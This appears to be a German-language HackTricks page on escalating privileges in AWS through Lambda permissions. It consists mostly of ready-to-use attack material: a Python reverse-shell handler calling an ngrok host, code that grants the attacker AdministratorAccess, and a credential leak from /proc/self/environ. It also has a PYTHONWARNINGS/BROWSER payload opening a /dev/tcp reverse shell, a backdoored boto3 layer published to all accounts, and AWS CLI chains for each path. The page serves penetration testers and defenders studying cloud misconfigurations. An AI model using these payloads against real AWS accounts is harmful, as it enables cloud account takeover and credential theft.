# AWS - Lambda Privesc {{#include ../../../banners/hacktricks-training.md}} ## lambda Mehr Informationen über lambda in: {{#ref}} ../aws-services/aws-lambda-enum.md {{#endref}} ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`) Benutzer mit den Berechtigungen **`iam:PassRole`, `lambda:CreateFunction` und `lambda:InvokeFunction`** können ihre Berechtigungen eskalieren.\ Sie können **eine neue Lambda-Funktion erstellen und ihr eine vorhandene IAM-Rolle zuweisen**, wodurch der Funktion die Berechtigungen zugewiesen werden, die mit dieser Rolle verbunden sind. Der Benutzer kann dann **Code in diese Lambda-Funktion schreiben und hochladen (zum Beispiel mit einer rev shell)**.\ Sobald die Funktion eingerichtet ist, kann der Benutzer **ihre Ausführung auslösen** und die beabsichtigten Aktionen, indem er die Lambda-Funktion über die AWS-API aufruft. Dieser Ansatz ermöglicht es dem Benutzer effektiv, Aufgaben indirekt über die Lambda-Funktion auszuführen, wobei er mit dem Zugriffslevel arbeitet, das der zugehörigen IAM-Rolle zugewiesen ist.\\ Ein Angreifer könnte dies ausnutzen, um eine **rev shell zu erhalten und das Token zu stehlen**: ```python:rev.py import socket,subprocess,os,time def lambda_handler(event, context): s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(('4.tcp.ngrok.io',14305)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(['/bin/sh','-i']) time.sleep(900) return 0 ``` ```bash # Zip the rev shell zip "rev.zip" "rev.py" # Create the function aws lambda create-function --function-name my_function \ --runtime python3.9 --role \ --handler rev.lambda_handler --zip-file fileb://rev.zip # Invoke the function aws lambda invoke --function-name my_function output.txt ## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL # List roles aws iam list-attached-user-policies --user-name ``` Du könntest auch **die Berechtigungen der Lambda-Rolle** von der Lambda-Funktion selbst ausnutzen.\ Wenn die Lambda-Rolle genügend Berechtigungen hatte, könntest du sie verwenden, um dir Administratorrechte zu gewähren: ```python import boto3 def lambda_handler(event, context): client = boto3.client('iam') response = client.attach_user_policy( UserName='my_username', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' ) return response ``` Es ist auch möglich, die Anmeldeinformationen der Rolle der Lambda-Funktion zu leaken, ohne eine externe Verbindung zu benötigen. Dies wäre nützlich für **netzwerkisolierte Lambdas**, die für interne Aufgaben verwendet werden. Wenn unbekannte Sicherheitsgruppen Ihre Reverse-Shells filtern, ermöglicht Ihnen dieses Stück Code, die Anmeldeinformationen direkt als Ausgabe der Lambda-Funktion zu leaken. ```python def handler(event, context): sessiontoken = open('/proc/self/environ', "r").read() return { 'statusCode': 200, 'session': str(sessiontoken) } ``` ```bash aws lambda invoke --function-name output.txt cat output.txt ``` **Potenzielle Auswirkungen:** Direkte Privilegieneskalation auf die beliebige Lambda-Dienstrolle, die angegeben ist. > [!CAUTION] > Beachten Sie, dass selbst wenn es interessant aussieht, **`lambda:InvokeAsync`** **nicht** allein die **Ausführung von `aws lambda invoke-async`** erlaubt, Sie benötigen auch `lambda:InvokeFunction`. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission` Wie im vorherigen Szenario können Sie sich die Berechtigung **`lambda:InvokeFunction`** gewähren, wenn Sie die Berechtigung **`lambda:AddPermission`** haben. ```bash # Check the previous exploit and use the following line to grant you the invoke permissions aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \ --action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" ``` **Potenzielle Auswirkungen:** Direkte Privilegieneskalation auf die beliebige Lambda-Dienstrolle, die angegeben ist. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` Benutzer mit **`iam:PassRole`, `lambda:CreateFunction` und `lambda:CreateEventSourceMapping`** Berechtigungen (und möglicherweise `dynamodb:PutItem` und `dynamodb:CreateTable`) können indirekt **Privilegien eskalieren**, selbst ohne `lambda:InvokeFunction`.\ Sie können eine **Lambda-Funktion mit bösartigem Code erstellen und ihr eine vorhandene IAM-Rolle zuweisen**. Anstatt die Lambda direkt aufzurufen, richtet der Benutzer eine vorhandene DynamoDB-Tabelle ein oder nutzt sie, indem er sie über eine Ereignisquellenzuordnung mit der Lambda verknüpft. Diese Einrichtung stellt sicher, dass die Lambda-Funktion **automatisch ausgelöst wird, wenn ein neuer Eintrag** in die Tabelle erfolgt, entweder durch die Aktion des Benutzers oder einen anderen Prozess, wodurch die Lambda-Funktion indirekt aufgerufen und der Code mit den Berechtigungen der übergebenen IAM-Rolle ausgeführt wird. ```bash aws lambda create-function --function-name my_function \ --runtime python3.8 --role \ --handler lambda_function.lambda_handler \ --zip-file fileb://rev.zip ``` Wenn DynamoDB bereits in der AWS-Umgebung aktiv ist, muss der Benutzer nur **die Ereignisquellenzuordnung** für die Lambda-Funktion festlegen. Wenn DynamoDB jedoch nicht verwendet wird, muss der Benutzer **eine neue Tabelle** mit aktivierten Streams erstellen: ```bash aws dynamodb create-table --table-name my_table \ --attribute-definitions AttributeName=Test,AttributeType=S \ --key-schema AttributeName=Test,KeyType=HASH \ --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES ``` Jetzt ist es möglich, **die Lambda-Funktion mit der DynamoDB-Tabelle zu verbinden**, indem **eine Ereignisquellenzuordnung** erstellt wird: ```bash aws lambda create-event-source-mapping --function-name my_function \ --event-source-arn \ --enabled --starting-position LATEST ``` Mit der Lambda-Funktion, die mit dem DynamoDB-Stream verknüpft ist, kann der Angreifer **indirekt die Lambda auslösen, indem er den DynamoDB-Stream aktiviert**. Dies kann erreicht werden, indem man **ein Element** in die DynamoDB-Tabelle einfügt: ```bash aws dynamodb put-item --table-name my_table \ --item Test={S="Random string"} ``` **Potenzielle Auswirkungen:** Direkte Privilegieneskalation auf die angegebene Lambda-Dienstrolle. ### `lambda:AddPermission` Ein Angreifer mit dieser Berechtigung kann **sich selbst (oder anderen) beliebige Berechtigungen gewähren** (dies erzeugt ressourcenbasierte Richtlinien, um Zugriff auf die Ressource zu gewähren): ```bash # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode) aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn: # Invoke the function aws lambda invoke --function-name /tmp/outout ``` **Potenzielle Auswirkungen:** Direkte Privilegieneskalation zum Lambda-Dienstrolle durch Gewährung der Berechtigung zur Modifikation des Codes und dessen Ausführung. ### `lambda:AddLayerVersionPermission` Ein Angreifer mit dieser Berechtigung kann **sich selbst (oder anderen) die Berechtigung `lambda:GetLayerVersion` gewähren**. Er könnte auf die Schicht zugreifen und nach Schwachstellen oder sensiblen Informationen suchen. ```bash # Give everyone the permission lambda:GetLayerVersion aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion ``` **Potenzielle Auswirkungen:** Potenzieller Zugriff auf sensible Informationen. ### `lambda:UpdateFunctionCode` Benutzer, die die Berechtigung **`lambda:UpdateFunctionCode`** besitzen, haben die Möglichkeit, **den Code einer bestehenden Lambda-Funktion, die mit einer IAM-Rolle verknüpft ist, zu ändern.**\ Der Angreifer kann **den Code der Lambda-Funktion ändern, um die IAM-Anmeldeinformationen zu exfiltrieren.** Obwohl der Angreifer möglicherweise nicht die direkte Fähigkeit hat, die Funktion aufzurufen, ist es wahrscheinlich, dass die Lambda-Funktion, wenn sie bereits vorhanden und betriebsbereit ist, durch bestehende Workflows oder Ereignisse ausgelöst wird, wodurch die Ausführung des modifizierten Codes indirekt erleichtert wird. ```bash # The zip should contain the lambda code (trick: Download the current one and add your code there) aws lambda update-function-code --function-name target_function \ --zip-file fileb:///my/lambda/code/zipped.zip # If you have invoke permissions: aws lambda invoke --function-name my_function output.txt # If not check if it's exposed in any URL or via an API gateway you could access ``` **Potenzielle Auswirkungen:** Direkte Privilegieneskalation auf die verwendete Lambda-Dienstrolle. ### `lambda:UpdateFunctionConfiguration` #### RCE über Umgebungsvariablen Mit diesen Berechtigungen ist es möglich, Umgebungsvariablen hinzuzufügen, die dazu führen, dass die Lambda beliebigen Code ausführt. Zum Beispiel ist es in Python möglich, die Umgebungsvariablen `PYTHONWARNING` und `BROWSER` auszunutzen, um einen Python-Prozess dazu zu bringen, beliebige Befehle auszuführen: ```bash aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" ``` Für andere Skriptsprachen gibt es andere Umgebungsvariablen, die Sie verwenden können. Für weitere Informationen überprüfen Sie die Unterabschnitte der Skriptsprachen in: {{#ref}} https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html {{#endref}} #### RCE über Lambda Layers [**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ermöglicht es, **Code** in Ihrer Lambda-Funktion einzuschließen, aber **separat zu speichern**, sodass der Funktionscode klein bleiben kann und **mehrere Funktionen Code teilen können**. Innerhalb von Lambda können Sie die Pfade überprüfen, von denen Python-Code geladen wird, mit einer Funktion wie der folgenden: ```python import json import sys def lambda_handler(event, context): print(json.dumps(sys.path, indent=2)) ``` Diese sind die Orte: 1. /var/task 2. /opt/python/lib/python3.7/site-packages 3. /opt/python 4. /var/runtime 5. /var/lang/lib/python37.zip 6. /var/lang/lib/python3.7 7. /var/lang/lib/python3.7/lib-dynload 8. /var/lang/lib/python3.7/site-packages 9. /opt/python/lib/python3.7/site-packages 10. /opt/python Zum Beispiel wird die Bibliothek boto3 von `/var/runtime/boto3` geladen (4. Position). #### Ausnutzung Es ist möglich, die Berechtigung `lambda:UpdateFunctionConfiguration` zu missbrauchen, um **eine neue Schicht** zu einer Lambda-Funktion hinzuzufügen. Um beliebigen Code auszuführen, muss diese Schicht eine **Bibliothek enthalten, die die Lambda importieren wird.** Wenn Sie den Code der Lambda lesen können, könnten Sie dies leicht finden, beachten Sie auch, dass es möglich sein könnte, dass die Lambda **bereits eine Schicht verwendet** und Sie die **Schicht herunterladen** und **Ihren Code** dort hinzufügen könnten. Zum Beispiel, nehmen wir an, dass die Lambda die Bibliothek boto3 verwendet, dies wird eine lokale Schicht mit der letzten Version der Bibliothek erstellen: ```bash pip3 install -t ./lambda_layer boto3 ``` Sie können `./lambda_layer/boto3/__init__.py` öffnen und **die Hintertür im globalen Code hinzufügen** (eine Funktion zum Exfiltrieren von Anmeldeinformationen oder um beispielsweise eine Reverse-Shell zu erhalten). Dann zippen Sie das `./lambda_layer` Verzeichnis und **laden die neue Lambda-Schicht** in Ihr eigenes Konto hoch (oder in das des Opfers, aber möglicherweise haben Sie dafür keine Berechtigungen).\ Beachten Sie, dass Sie einen Python-Ordner erstellen und die Bibliotheken dort ablegen müssen, um /opt/python/boto3 zu überschreiben. Außerdem muss die Schicht **kompatibel mit der Python-Version** sein, die von der Lambda verwendet wird, und wenn Sie sie in Ihr Konto hochladen, muss sie in der **gleichen Region** sein: ```bash aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" ``` Jetzt machen Sie die hochgeladene Lambda-Schicht **für jedes Konto zugänglich**: ```bash aws lambda add-layer-version-permission --layer-name boto3 \ --version-number 1 --statement-id public \ --action lambda:GetLayerVersion --principal * ``` Und füge die Lambda-Schicht zur Opfer-Lambda-Funktion hinzu: ```bash aws lambda update-function-configuration \ --function-name \ --layers arn:aws:lambda:::layer:boto3:1 \ --timeout 300 #5min for rev shells ``` Der nächste Schritt wäre, entweder **die Funktion selbst aufzurufen**, wenn wir können, oder zu warten, bis sie auf normale Weise **aufgerufen wird** – was die sicherere Methode ist. Eine **diskretere Möglichkeit, diese Schwachstelle auszunutzen**, findet sich in: {{#ref}} ../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md {{#endref}} **Potenzielle Auswirkungen:** Direkte Privilegieneskalation auf die Lambda-Service-Rolle, die verwendet wird. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` Vielleicht kannst du mit diesen Berechtigungen eine Funktion erstellen und sie aufrufen, indem du die URL verwendest... aber ich konnte keinen Weg finden, dies zu testen, also lass es mich wissen, wenn du es tust! ### Lambda MitM Einige Lambdas werden **sensible Informationen von den Benutzern in Parametern empfangen.** Wenn du RCE in einem von ihnen erhältst, kannst du die Informationen, die andere Benutzer senden, exfiltrieren, siehe dazu: {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}} ## Referenzen - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) {{#include ../../../banners/hacktricks-training.md}}